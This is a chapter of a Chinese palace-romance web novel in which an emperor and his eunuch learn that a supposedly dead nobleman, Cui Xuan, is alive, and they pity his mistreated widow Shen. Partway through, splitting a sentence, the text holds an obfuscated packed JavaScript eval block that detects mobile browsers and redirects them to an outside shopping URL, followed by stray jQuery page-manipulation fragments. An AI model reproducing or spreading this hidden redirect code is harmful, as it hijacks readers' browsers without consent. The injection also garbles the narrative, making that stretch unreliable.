12. 裴道成

作品:《别居后被天子觊觎了

    蔺公公张了张嘴,到底将视线从裴道成手上收回,带了几分犹豫问:“皇上,这会儿宫里头不知怎么传皇上手背上这咬痕呢。”


    他寻思着,也不能全然不管吧?


    裴道成看了他一眼:“朕是皇帝,要给谁解释不成?”


    蔺公公觉着这话倒也在理,皇上贵为九五之尊,后宫妃嫔哪怕是慈宁宫太后娘娘想要打听皇上的行踪便是窥视帝踪的大罪。


    正如皇上所说,哪怕后宫生出揣测,觉着皇上身边有了新人,且还纵着她在身上留了痕迹,那也只能在心里头拈酸吃醋,不敢问到皇上面前来,更不敢打探皇上的去处。


    这般想着,蔺公公便也不再纠结这事儿。


    正当这时,帘子被打起,一个小太监站在外头往里头探进脑袋。


    这小太监正是蔺公公手底下最得力之人。


    蔺公公见着皇上继续看起折子,便放轻脚步走了出去。


    到了廊下,看着小太监问:“何事这般要紧,不能等我出来再回?”


    小太监从袖子里拿出一道折子,压低了声音道:“这折子是锦衣卫副指挥使袁纲送过来的,说是事关贵妃那侄儿崔宣。”


    蔺公公一愣,漆黑的眸子变了变,伸手将那折子接过来拿在手上。


    若说崔宣有什么特别,不外乎因着是景阳宫那位娴贵妃的娘家侄儿,至于他勇庆侯府大公子的身份,根本就不被蔺公公这样的总管太监放在眼中。


    可那是之前,如今他们这些皇上身边伺候的人提起崔宣,头一个想到的并非景阳宫贵妃娘娘,而是那日寺庙里皇上救下的沈氏。


    这沈氏便是为着死去一年的崔宣守节。


    蔺公公此时如何还不明白徒弟为何这般着急将他叫出来。


    他抬手敲了小太监的脑袋一下,声音压低了几分:“别琢磨这些有的没的,皇上那日是头一回见沈氏,救下沈氏也是顺手,没你琢磨的那些事情。”


    小太监讪讪一笑:“皇上没这心思,可奴才伺候皇上,总要想的更周全些。


    毕竟,皇上这等身份很多心思不会直说,要他们这些伺候的人琢磨揣测。


    若是皇上就此将沈氏抛在脑后,根本不在意那晚在寺庙救了沈氏的事情,和救了路边一只猫一只狗一样便罢了。可若是沈氏在皇上心里有了印象,他们就不得不替皇上多想一些。


    果然,蔺公公听他这样讲,也没开口教训,只道:“行了,这折子我给皇上送进去,旁的事情你就无需多想了。”


    “后宫妃嫔如今不知如何揣测皇上,想要打探皇上的消息,若有人打探到你这里,你要知什么该说什么不该说。”


    小太监在御前多年,哪里不明白这个规矩。旁的小错犯了不过是下去领罚,最多罚去做苦活,可若是嘴巴不严说了不该说的消息,他就是有一百个脑袋也不够皇上砍的。


    他的脸色白了几分,将自己之前那些揣测圣心的心思也收了起来,再不敢多说一个字。


    蔺公公见他知道怕,才将视线从他身上收回,拿着折子往殿内走去。


    他心里头也有几分不解,当初娴贵妃的侄儿永庆侯府世子崔宣成婚第二日便坠崖身死,尸骨被山里的野狼叼走只寻回半件血衣的事情闹得人尽皆知,娴贵妃因着这事儿还病了一场。


    怎么如今这折子里提到崔宣?


    难不成人还没死?


    这就有意思了,沈氏可是替崔宣守寡一年,在侯府受了不知多少磋磨。


    若这崔宣假死,这不是欺负人吗?


    蔺公公此时不免又想起寺庙里皇上搂着沈氏,全身都湿透了,沈氏里头只着了件月白色的寝衣,外头拢着的披风松松垮垮,挣扎间更是松散,所以在他看来,沈氏是着了寝衣贴着皇上身子的。


    更别说,沈氏最后晕倒时,倒在了皇上怀中,皇上不仅不怪罪她冒犯冲撞的举动,反倒拦腰将沈氏抱起,径直从湖中走出来。


    沈氏生得貌美,一头乌黑的头发被湖水浸湿,脸色也是苍白,可饶是这样狼狈,也没损了半分姿容,依旧美的


    叫人心惊。


    当时皇上穿着一身常服,打横将沈氏从湖中抱着走出来。


    夜色下竹林飒飒作响,皇上周身威严清冷,沈氏闭着眼,肌肤苍白如雪,狼狈中却也透着几分清冷抗拒,却脆弱的晕倒在皇上怀中。他一时愣住,竟觉着皇上和这沈氏竟是格外的相配。


    这相配虽不是从身份,只从气质上,也叫蔺公公惊着了。


    以至于这几日皇上虽没吩咐什么,也没表露出对沈氏的特别,甚至连沈氏都没提起来,可他总忘不了那一幕。


    这会让听见这折子事关沈氏死去一年的夫君崔宣,心里头便在意了几分。


    裴道成见着蔺公公出去很快就折返回来,手里还拿了本折子,便搁下御笔。


    不等他发问,蔺公公便回道:“是锦衣卫副指挥使袁纲呈送上来的折子,说是,是关贵妃娘娘的侄儿崔宣。”


    皇上自然不晓得崔宣的具体情形,蔺公公便将崔宣的事情说给了皇上听。


    当时真假千金加上崔宣洞房花烛夜将沈氏丢下,之后坠马送了性命沈氏刚进府就守寡的消息传遍了整个京城。可皇上一向不在意这些,自然也不会有人跑到皇上面前来说这些事情。


    皇上知道的,大抵就是贵妃娘家侄儿没了,贵妃因此病了一场。


    蔺公公细细讲了,最后道:“皇上那日在寺庙里救的人,便是沈氏,在侯府寡居了一年。奴才着人细查,才知沈氏在侯府受婆母薛氏磋磨。当初在寺庙里追着沈氏过来,被侍卫抓住下了大狱的,便是沈氏婆母的娘家侄儿薛显。”


    “这回去寺庙上香是为着给崔宣点长明灯,沈氏却中了招,那薛显还追出来,也不知是薛显自己混账还是这里头有薛氏这个当婆婆的掺和了。”


    高门大族总有些腌臜手段,可若真是如此,薛氏这手段也太恶毒恶心了些。


    这桩事情里头,沈氏这个新妇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215466|197416||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    才是最无辜最可怜的,偏偏薛氏这当婆婆的怨恨迁怒沈氏这个儿媳,磋磨折腾人便罢了,竟还想着要借机毁了儿媳的清白。


    分明是没想着给沈氏这个儿媳留活路!


    沈氏若没有跑出来,若没遇着皇上,便是不被薛显毁了清白,也会体力不支溺死在湖中。


    到时候就白白丢了一条性命,沈氏那晚又穿成那样,里头只着了件薄薄的月白色寝衣,外头披风松散,哪里能遮得住,说不定又是一番流言蜚语,死了也要被毁了名声。


    裴道成翻开折子,看过之后,脸色愈发冷然,带着几分嫌弃将折子丢到了地上。


    “你也看看吧。”他吩咐道。


    蔺公公上前弯腰拿起折子,打开看了起来,眼睛慢慢睁大了。


    这,这怎么可能?


    崔宣竟真活着!


    不仅活着,还和宋澜月在一起,那宋澜月怀有身孕,瞧着都快生产了,两人住在距离京城不远处的驿站里。


    蔺公公看着折子上的这些,又想起那晚被皇上从湖中救起的沈氏,一时间对崔宣更多了几分不喜和厌恶。


    亏他还是侯府嫡出的公子,竟做出这等事情来。


    “皇上,这崔大公子倒是好本事,就是可怜了那沈氏。”


    裴道成听他提起沈氏,此时脑海中不禁想起那晚寺庙中他在亭子里远远见着有人朝这边跑过来,还以为是哪家姑娘得了吩咐窥视帝踪,起了攀附之心。


    不等他叫人驱赶,就见那女子跌跌撞撞朝湖边跑去,下一刻竟是直接就踏进了湖里。


    湖水冰寒,夜里更凉几分,便是男子都受不住,更何况是娇弱的女子了。


    裴道成自幼在宫中长大,很快就察觉出不对。


    湖中女子明显中了药,未免狼狈难堪这才不得已下了湖。


    寺庙佛祖清净之地,竟有人敢干出这等污秽下作之事。


    裴道成蹙眉,见着那女子身子渐渐往下沉,虽不是多管闲事的性子,到底还是出手相救了。


    只是他没料到沈氏惊惧之下将他当作了想要坏她清白的歹人,为着挣脱开来低头狠狠咬了他一口,最后体力不支晕倒在他怀中。


    这几日他手背上的咬痕还未痊愈,却也没提起沈氏,对他来说,他救沈氏只是想救便救了。


    纵然沈氏貌美,他也没觉着如何,他对女色并不上心。他贵为九五之尊,若在意女色,后宫妃嫔不知要有多少。


    若说有什么叫他留有印象的,便是沈氏看着柔弱,性子却是果敢坚韧,要不然,也不会为保清白果断下了湖。


    再则她披风下只着了件月白色寝衣,也能叫人猜出她是何等果断在就寝时察觉不对从房中逃出来的。


    聪慧且果决,只可惜,阴差阳错身份调换无人庇护,竟嫁给崔宣这样一个男人,落得个寡居被人磋磨的境地。


    如今崔宣带着宋氏回京,宋氏还有了身孕,沈氏无人庇护撑腰,不用想也知处境艰难,只能任人拿捏了。